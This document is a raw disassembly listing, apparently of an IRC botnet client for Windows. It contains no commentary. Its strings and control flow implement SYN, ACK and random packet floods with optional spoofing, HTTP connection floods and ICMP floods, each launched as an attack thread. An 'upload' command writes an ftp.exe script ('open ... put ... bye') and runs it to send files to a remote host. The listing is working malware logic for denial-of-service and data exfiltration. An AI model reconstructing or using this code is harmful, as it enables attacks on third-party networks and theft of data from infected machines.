		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA24
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		push	esi
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AEFC


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEB4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE70
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset byte_4149C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_42AE38
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE00


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAC4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADB8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset dword_413E10
		push	ebx
		push	ebx
		call	near ptr 26A0060h
		nop
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42AD80
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF4


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC8C
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: ___:004330E0o
					; ___:004330F4o ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC44
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset dword_413F9C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		call	near ptr 26A0000h
		nop
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42AC0C


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABA8


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		nop
		call	near ptr 26B0735h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB38
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB08


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_4317F8


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AAD4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA38
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_42AA00
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40CA1D
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 26A0000h
		nop
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42A974
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
